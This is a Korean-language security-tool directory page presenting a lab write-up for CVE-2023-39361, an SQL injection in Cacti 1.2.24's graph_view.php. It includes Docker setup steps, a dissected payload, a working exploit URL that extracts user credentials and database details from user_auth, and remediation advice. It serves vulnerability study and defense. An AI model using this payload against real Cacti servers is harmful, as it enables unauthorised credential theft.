Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-39361 — Cacti 1.2.24의 graph_view.php에서 SQL 인젝션 취약점을 이용한 원격 코드 실행 개념 증명 익스플로잇, Docker 기반 실험실 설정 및 상세 페이로드 예제 포함. | Kitploit
도구/GitHubGitHub/chodeokcheol/cve-2023-39361
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubchodeokcheol/cve-2023-39361

CVE-2023-39361

Cacti 1.2.24의 graph_view.php에서 SQL 인젝션 취약점을 이용한 원격 코드 실행 개념 증명 익스플로잇, Docker 기반 실험실 설정 및 상세 페이로드 예제 포함.

저장소 보기
1년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Cacti graph_view.php SQL Injection Leads to RCE [CVE-2023-39361]

[ WHS 3기 ] - 남기찬_7342 (ChoDeokCheol)


요약

  • Cacti 1.2.24 서버 내 graph_view.php 파일의 grow_right_pane_tree 함수에 취약점이 존재.
  • action 파라미터를 tree_content로 설정 시 사용자 입력값인 rfilter 파라미터가 존재.
  • rfilter 파라미터는 html_validate_tree_vars 함수를 통해 검증은 되지만 해당 검증은 단순히 유효한 정규표현식인지 여부만 검사한다.
  • 최종적으로 rfilter 값을 SQL 쿼리 내 끼워넣으며 코드 삽입이 가능함.
  • id, username 등 값을 뽑아낼 수 있음.(본 PoC에서 사용)

사전 설정

  • docker-compose -v를 통해 docker Compose 설치 유무와 버전 확인.
  • CVE-2023-39361 구성에 필요한 도커 구성요소 준비.(yml or 이미지 등)

환경 구성 및 실행

  • vulhub 내 cacti/CVE-2023-39361/docker-compose.yml, entrypoint.sh를 사용.
  • docker compose up -d를 통해 PoC 환경 구축. (이미지: cacti:1.2.24)
  • yml 파일에 설정한 localhost 주소 8080:80으로 Cacti 서버 구축. 도커 poc 환경구축 cacti 서버 구축

취약점 PoC

  • 해당 취약점은 인증 설정에서 일반 사용자(guest)도 graph를 확인할 수 있게 설정할 경우 발생한다.

  • 해당 취약점은 다음과 같은 파라미터 입력으로 확인할 수 있다:

    • %20OR%20""="((" : 대표적인 SQL 인젝션 코드. OR을 통해 강제로 참 조건을 만족시킨다.
    • %20UNION%20SELECT% : 원하는 임의의 결과를 가져온다.
    • (select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201) : id#username#password 값을 요청한다.
    • (select%20user()),(select%20version()) : 데이터베이스 사용자 / 버전을 가져온다.
    • %23 : # 이므로 뒤의 SQL 문이 무력화된다.

http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23


결과

burpsuite 실행 및 respond 요청한 대로 응답을 준 것을 확인할 수 있다.


정리

SQL injection 공격은 서버 상호작용 중 유저 입력을 받아들이며 주로 발생한다. 해당 SQL injection 공격으로 데이터베이스 내부 기밀성이 침해되었으며, 자산이 유출되는 결과를 확인할 수 있었다.
해당 SQL injection에 대한 조치로, rfilter에 기초적인 화이트리스트 값 검증을 체크하거나 (", ', ;, ...)같은 특수문자를 이스케이프 처리할 수 있다. 또는 DB 접근 시 Doctrine과 같은 ORM 라이브러리를 사용하는 식의 개선사항이 이루어질 수 있다.

도구 다운로드